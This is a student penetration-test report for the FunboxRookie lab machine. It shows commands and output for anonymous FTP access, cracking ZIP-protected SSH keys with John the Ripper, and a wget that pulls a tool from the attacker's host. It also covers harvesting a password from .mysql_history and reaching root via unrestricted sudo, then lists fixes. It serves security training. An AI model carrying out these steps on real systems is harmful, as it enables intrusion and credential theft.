



Kein System ist sicher

4 April 2025

## OFFSEC FUNBOXROOKIE

Kein System ist sicher

Dreistigkeit siegt - Strebe das Unmögliche an

**PantherBear**

Certified GreyHat Hacker



## Table of Contents

<b>1.0 Offensive Security Exam Penetration Test Report.....</b>	<b>2</b>
1.1 Introduction.....	2
1.2 Objective.....	2
1.3 Requirements.....	2
 <b>2.0 System: 192.168.238.107 .....</b>	<b>3</b>
2.1 Service Enumeration .....	3
2.2 FootHold on FTP and Cracking the ZIPs .....	4-6
2.3 Gaining Access .....	7-8
2.4 Privilege Escalation - Enumeration and Exploitation .....	9-12
2.5 Vulnerability Fix and Severity .....	13-14



## **1.0 Offensive Security Exam Penetration Test Report**

### **1.1 Introduction**

The Offensive Security Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

### **1.2 Objective**

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting.

### **1.3 Requirements**

The student will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

## 2.0 System IP: 192.168.238.107

### 2.1 Service Enumeration

Port no.	Service	Version
21	ftp	ProFTPD 1.3.5e
22	ssh	OpenSSH 7.6p1
80	http	Apache httpd 2.4.29

#### Nmap Scan Results:

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ nmap -sV -T4 192.168.238.107 -Pn -n  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 04:34 EDT  
Nmap scan report for 192.168.238.107  
Host is up (0.056s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      ProFTPD 1.3.5e  
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)  
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds  
(kali@kali)-[~]  
$
```

Command: **nmap -sV -T4 192.168.238.107 -Pn -n**

The command lists the service versions running on open ports, and the aggressive network scan is accelerated by disabling host discovery and DNS resolution.

## 2.2 FootHold on FTP and cracking the ZIPs

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ nmap --script ftp-anon -p 21 192.168.238.107  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 04:48 EDT  
Nmap scan report for 192.168.238.107  
Host is up (0.046s latency).  
  
PORT      STATE SERVICE  
21/tcp    open  ftp  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 anna.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 ariel.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 bud.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 cathrine.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 homer.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 jessica.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 john.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 marge.zip  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 miriam.zip  
| -r--r--r-- 1 ftp      ftp      1477 Jul 25 2020 tom.zip  
| -rw-r--r-- 1 ftp      ftp      170 Jan 10 2018 welcome.msg  
| -rw-rw-r-- 1 ftp      ftp      1477 Jul 25 2020 zlatan.zip  
  
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
```

Command: **nmap --script ftp-anon -p 21 192.168.238.107**

The Nmap command uses the **ftp-anon** script to scan the target machine on port 21 to check if the FTP server permits anonymous access. The scan result shows FTP code 230, indicating that the server does allow anonymous access. Additionally, zip files of different users are found on the server.

```
kali@kali: ~/Desktop/FTP data
File Actions Edit View Help
(kali@kali)-[~/Desktop/FTP data]
$ ftp 192.168.238.107

Connected to 192.168.238.107.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.238.107]
Name (192.168.238.107:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.45.159 !
230-
230-The local time is: Wed Apr 02 08:51:34 2025
230-
230-This is an experimental FTP server. If you have any unusual problems,
230-please report them via e-mail to <root@funbox2>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mget *
mget jessica.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||52522|)
150 Opening BINARY mode data connection for jessica.zip (1477 bytes)
100% |*****| 1477 25.15 MiB/s 00:00 ETA
226 Transfer complete
1477 bytes received in 00:00 (27.94 KiB/s)
mget bud.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||22322|)
150 Opening BINARY mode data connection for bud.zip (1477 bytes)
100% |*****| 1477 23.47 MiB/s 00:00 ETA
226 Transfer complete
1477 bytes received in 00:00 (30.48 KiB/s)
```

Using FTP Anonymous login and exfiltrating every single zip file into 'FTP Data' directory

FTP Command: **mget \***

```
kali@kali: ~/Desktop/FTP data
File Actions Edit View Help
(kali@kali)-[~/Desktop/FTP data]
$ sudo john --wordlist='/usr/share/wordlists/rockyou.txt' tomhash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iubire (tom.zip/id_rsa)
1g 0:00:00:00 DONE (2025-04-02 05:12) 20.00g/s 163840p/s 163840c/s 163840C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Command: **sudo john --wordlist='/usr/share/wordlists/rockyou.txt' tomhash**

I converted the password-protected ZIP files into hash file format using the tool **zip2john** and cracked them using **John the Ripper**

Command: **zip2john tom.zip > tomhash**

```
kali@kali: ~/Desktop/FTP data
File Actions Edit View Help

(kali@kali)-[~/Desktop/FTP data]
$ sudo john --show cathrinehash
cathrine.zip/id_rsa:catwoman:id_rsa:cathrine.zip::cathrine.zip

1 password hash cracked, 0 left

(kali@kali)-[~/Desktop/FTP data]
$
```

User	ZIP file Password
cathrine	catwoman
tom	iubire



## 2.3 Gaining Access

```
kali@kali: ~/Desktop
File Actions Edit View Help

(kali@kali)-[~/Desktop]
$ chmod 600 '/home/kali/Desktop/jessica_id_rsa'

(kali@kali)-[~/Desktop]
$ chmod 600 '/home/kali/Desktop/tom_id_rsa'

(kali@kali)-[~/Desktop]
$ ls
'FTP data'  jessica_id_rsa  jessica.zip  tom_id_rsa  tom.zip  VPN

(kali@kali)-[~/Desktop]
$ ls -la
total 32
drwxr-xr-x  4 kali kali 4096 Apr  2 05:13 .
drwx----- 20 kali kali 4096 Apr  2 05:17 ..
drwxrwxr-x  2 kali kali 4096 Apr  2 05:12 'FTP data'
-rw-----  1 kali kali 1675 Jul 25  2020 jessica_id_rsa
-rw-rw-r--  1 kali kali 1477 Jul 25  2020 jessica.zip
-rw-----  1 kali kali 1675 Jul 25  2020 tom_id_rsa
-rw-rw-r--  1 kali kali 1477 Jul 25  2020 tom.zip
drwxrwxr-x  4 kali kali 4096 Mar 30 06:12 VPN
```

The ZIP files contains SSH private keys assigned to the respective users. Only the password hashes for user tom and cathrine are simple enough to be cracked. I changed the file permissions for their respective private keys

Command: **chmod 600 <SSH private key>**



```
tom@funbox2: ~  
File Actions Edit View Help  
(kali@kali)-[~/Desktop]  
$ ssh tom@192.168.238.107 -i tom_id_rsa  
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-117-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:        https://ubuntu.com/advantage  
  
System information as of Wed Apr  2 09:20:09 UTC 2025  
  
System load:  0.0           Processes:            165  
Usage of /:   75.0% of 4.37GB Users logged in:       0  
Memory usage: 36%          IP address for ens256: 192.168.238.107  
Swap usage:   0%  
  
30 packages can be updated.  
0 updates are security updates.  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To run a command as administrator (user "root"), use "sudo <command>".  
See "man sudo_root" for details.  
  
tom@funbox2:~$ whoami  
tom  
tom@funbox2:~$
```

Command: **ssh tom@192.168.238.107 -i <tom's SSH private key>**

I have managed to gain initial foothold on the machine by SSH into user tom's account using his SSH private key. User cathrine's SSH private key is unable to be used for SSH authentication.

## 2.4 Privilege Escalation - Enumeration and Exploitation

```
tom@funbox2: ~  
File Actions Edit View Help  
tom@funbox2:~$ wget http://192.168.45.159/pspy32  
--2025-04-02 09:28:45-- http://192.168.45.159/pspy32  
Connecting to 192.168.45.159:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 2940928 (2.8M) [application/octet-stream]  
Saving to: 'pspy32'  
  
pspy32 100%[=====>] 2.80M 5.46MB/s in 0.5s  
  
2025-04-02 09:28:46 (5.46 MB/s) - 'pspy32' saved [2940928/2940928]  
  
tom@funbox2:~$ ls  
local.txt pspy32  
tom@funbox2:~$ chmod +x pspy32  
tom@funbox2:~$ ls -la  
total 2912  
drwxr-xr-x 5 tom tom 4096 Apr 2 09:28 .  
drwxr-xr-x 3 root root 4096 Jul 25 2020 ..  
-rw-r--r-- 1 tom tom 0 Oct 14 2020 .bash_history  
-rw-r--r-- 1 tom tom 220 Apr 4 2018 .bash_logout  
-rw-r--r-- 1 tom tom 3771 Apr 4 2018 .bashrc  
drwx----- 2 tom tom 4096 Apr 2 09:20 .cache  
drwx----- 3 tom tom 4096 Jul 25 2020 .gnupg  
-rw-r--r-- 1 tom tom 33 Apr 2 08:33 local.txt  
-rw-r--r-- 1 tom tom 295 Jul 25 2020 .mysql_history  
-rw-r--r-- 1 tom tom 807 Apr 4 2018 .profile  
-rwxrwxr-x 1 tom tom 2940928 Apr 2 09:27 pspy32  
drwx----- 2 tom tom 4096 Jul 25 2020 .ssh  
tom@funbox2:~$
```

I have started a web server on my Kali Linux host machine so I can migrate pspy32 over to the compromised machine using **wget**. I changed the file permissions for pspy32 so that it can be executed.

```
tom@funbox2: ~  
File Actions Edit View Help  
tom@funbox2:~$ ./pspy32  
-rbash: ./pspy32: restricted: cannot specify '/' in command names  
tom@funbox2:~$
```

Common Restrictions in rbash include:

- i. Cannot change directories using `cd`.
- ii. Cannot set or unset the `PATH` variable.
- iii. Cannot use commands like `exec`, which can replace the current shell with another command.
- iv. Cannot redirect output using `>`, `>>`, or `2>&1` in most cases.
- v. Cannot run commands with `;` (semicolon) or `&` to run multiple commands in a single line.

In this case, the slash symbol `/` cannot be used in command names due to rbash restriction. Hence, no files or scripts can be executed from within current directory. Pspy and Linpeas cannot be used in this case.

```

tom@funbox2: ~
File Actions Edit View Help
tom@funbox2:~$ ls -la
total 40
drwxr-xr-x 5 tom tom 4096 Apr 2 09:20 .
drwxr-xr-x 3 root root 4096 Jul 25 2020 ..
-rw-r--r-- 1 tom tom 0 Oct 14 2020 .bash_history
-rw-r--r-- 1 tom tom 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 tom tom 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 tom tom 4096 Apr 2 09:20 .cache
drwxr-xr-x 3 tom tom 4096 Jul 25 2020 .gnupg
-rw-r--r-- 1 tom tom 33 Apr 2 08:33 local.txt
-rw-r--r-- 1 tom tom 295 Jul 25 2020 .mysql_history
-rw-r--r-- 1 tom tom 807 Apr 4 2018 .profile
drwxr-xr-x 2 tom tom 4096 Jul 25 2020 .ssh
tom@funbox2:~$

```

Reading the contents of local.txt grants the user flag. I have listed out all files within current directory to see potential entry points leading to privilege escalation. The files **.bash\_history**, **.mysql\_history** and **.ssh** directory are of interest.

```

tom@funbox2:~$ cat .mysql_history
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit
tom@funbox2:~$

```

The **.mysql\_history** file contains the history of all commands executed in the MySQL command-line client. A database named 'support' is created, and a table named 'users' is created within it. The record for the user 'tom' and their password, inserted via the CLI, can be observed.

User	Password
tom	xx11yy22!

```
tom@funbox2: ~  
File Actions Edit View Help  
tom@funbox2:~$ sudo -l  
[sudo] password for tom:  
Matching Defaults entries for tom on funbox2:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User tom may run the following commands on funbox2:  
    (ALL : ALL) ALL  
tom@funbox2:~$
```

Checking the sudo privileges for the user 'tom' requires a password, which is obtained from the contents of the `.mysql_history` file. The user tom can execute all commands with sudo privileges.

The commands that user 'tom' can execute in the current shell can be listed using the command: **compgen -c**

```
root@funbox2: ~  
File Actions Edit View Help  
tom@funbox2:~$ sudo su  
root@funbox2:/home/tom# whoami  
root  
root@funbox2:/home/tom# cd /root  
root@funbox2:~# ls -la  
total 32  
drwx----- 4 root root 4096 Apr  2 08:33 .  
drwxr-xr-x 24 root root 4096 Oct 14 2020 ..  
-rw----- 1 root root  0 Oct 14 2020 .bash_history  
-rw-r--r-- 1 root root 3106 Apr  9 2018 .bashrc  
-rw-r--r-- 1 root root  32 Oct 14 2020 flag.txt  
drwx----- 3 root root 4096 Sep 15 2020 .gnupg  
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile  
-rw----- 1 root root  33 Apr  2 08:33 proof.txt  
drwx----- 2 root root 4096 Jul 25 2020 .ssh  
root@funbox2:~# cat proof.txt  
390aaa2fc82ac3ecadbf755203565169  
root@funbox2:~#
```

One of the commands that can be executed in the current shell is **su**. Since the user tom can execute any command with sudo, they can directly escalate privileges by switching to the root account without requiring to know the root user's password.

```
root@funbox2: /root
File Actions Edit View Help
tom@funbox2:~$ sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
root@funbox2:~# whoami
root
root@funbox2:~# cd /root
root@funbox2:/root# ls
flag.txt  proof.txt
root@funbox2:/root# cat proof.txt
390aaa2fc82ac3ecadbf755203565169
root@funbox2:/root#
```

User 'tom' can be observed to execute python3 with sudo privileges as well. I executed python3 with sudo privileges to spawn a bash shell using Python's pty module. It will spawn a new process that runs an interactive /bin/bash shell with root privileges.

## **2.5 Vulnerability Fix and Severity**

### **Vulnerability 1: Anonymous FTP login**

**FTP server has poor security configurations in supporting FTP Anonymous login**

#### **Fix and Mitigations**

- **Restricting access to specific directories that are intended for anonymous usage**
- **Using firewalls and network configurations to restrict who can access the anonymous FTP service**
- **Adopt Data Classification when uploading documents in terms of sensitivity of information**

### **Vulnerability 2: Exposure of sensitive files**

**SSH private keys are stored in password protected ZIP files on an easily-accessible FTP server.**

#### **Fix and Mitigations**

- **Stop using FTP to store sensitive data**
- **Adopt Data Classification when uploading documents in terms of sensitivity of information**
- **Use stronger encryption and protection for SSH keys**
  - i. **Use a hardware security module (HSM):** If possible, store the private keys in an HSM or a hardware token (YubiKey)
  - ii. **Adopt AES-256 encryption of SSH private keys**
  - iii. **Adopt a more secure storage location instead of ZIP files**



### Vulnerability 3: Leak of information through history files

Tom's password is leaked in `.mysql_history` file

#### Fix and Mitigations

- Isolate tom's device from the network and change their password
- Clear the contents of history files to prevent data leaks
  - > `~/.mysql_history`
  - > `~/.bash_history`

### Vulnerability 4: Vertical Privilege Escalation to root

The unrestricted sudo permissions in user tom's account allowed the abuse of commands to escalate privilege levels.

#### Fix and Mitigations

- Review and correct the sudoers file
- Limit Sudo Access

Ensure users are only granted **specific, necessary privileges**. Limit what each user can do via sudo and explicitly specify which commands they can run.
- Restriction of commands executed by sudo

The sudoers file can be edited to restrict **command arguments** and **environment variables** that can be passed to commands when they are executed with sudo.
- Restrict sudo to only trusted users